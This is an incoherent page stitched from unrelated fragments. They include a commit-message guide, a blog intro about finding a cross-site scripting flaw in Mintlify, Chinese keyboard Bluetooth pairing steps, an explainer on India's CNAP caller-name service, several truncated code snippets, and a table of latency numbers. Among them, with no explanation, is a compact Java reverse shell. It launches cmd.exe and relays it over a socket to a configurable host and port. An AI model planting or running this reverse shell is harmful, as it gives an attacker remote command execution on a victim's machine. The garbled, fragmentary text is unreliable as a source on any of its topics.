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Conventional Commit Messages

See how a minor change to your commit message style can make a difference.

git commit -m"<type>(<optional scope>): <description>" \
  -m"<optional body>" \
  -m"<optional footer>"

hi, i'm daniel. i'm a 16-year-old high school senior. in my free time, i hack billion dollar companies and build cool stuff.

about a month ago, a couple of friends and I found serious critical vulnerabilities on Mintlify, an AI documentation platform used by some of the top companies in the world.

i found a critical cross-site scripting vulnerability that, if abused, would let an attacker to inject malicious scripts into the documentation of numerous companies and steal credentials from users with a single link open.

(go read my friends' writeups (after this one))
how to hack discord, vercel, and more with one easy trick (eva)
Redacted by Counsel: A supply chain postmortem (MDL)

蓝牙连接

kechron 支持三个蓝牙设备间的切换。

长按 fn + 1/2/3 键 3 秒，激活蓝牙配对，此时设备与第一（二/三）个蓝牙绑定。

长按3秒 Fn+1/2/3键。（如长按 Fn+1，则蓝牙连接到第1个设备）。

Calling Name Presentation (CNAP)

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Short URL: go.arnv.dev/cnap

Recently the Calling Name Presentation (CNAP) Service has been introduced in India, which is gradually rolling out around the telecom circles.

CNAP as the name suggests is a suplimentary service enabled by default for all the users, it shows your name as per the KYC documents which you used for SIM card registration

	String host="localhost";
	int port=8044;
	String cmd="cmd.exe";
	Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

	<#
	.SYNOPSIS
	Download VMware Workstation Pro for Windows from Archive.org
	.DESCRIPTION
	This script downloads VMware Workstation installers directly from the archive.org VMware Workstation archive.
	It allows for interactive menu selection or direct version specification.
	.PARAMETER Version
	Specifies the version of VMware Workstation to download (e.g., "17.6.3").
	.PARAMETER Help
	Displays the help information for the script and exits.

	Latency Comparison Numbers (~2012)
	----------------------------------
	L1 cache reference 0.5 ns
	Branch mispredict 5 ns
	L2 cache reference 7 ns 14x L1 cache
	Mutex lock/unlock 25 ns
	Main memory reference 100 ns 20x L2 cache, 200x L1 cache
	Compress 1K bytes with Zippy 3,000 ns 3 us
	Send 1K bytes over 1 Gbps network 10,000 ns 10 us
	Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD

	#!/bin/sh

	# Resources:
	# - https://wiki.archlinux.org/title/HDMI-CEC
	# - https://man.archlinux.org/man/extra/v4l-utils/rc_keymap.5.en
	# - https://man.archlinux.org/man/extra/v4l-utils/ir-keytable.1.en
	# - https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html
	# - https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html

	# Make sure to replace card1-HDMI-A-2 with your own connector in: cec0-daemon-autostart.rules

	#include <windows.h>
	#include <stdio.h>
	#include <tchar.h>
	#define MAX_BUF 1024
	#define pipename "\\\\.\\pipe\\LogPipe"
	int main()
	{
	HANDLE pipe = CreateFile(pipename, GENERIC_READ \| GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

	if (pipe == INVALID_HANDLE_VALUE)

	system.activationScripts.applications.text = let
	env = pkgs.buildEnv {
	name = "system-applications";
	paths = config.environment.systemPackages;
	pathsToLink = "/Applications";
	};
	in
	pkgs.lib.mkForce ''
	# Set up applications.
	echo "setting up /Applications..." >&2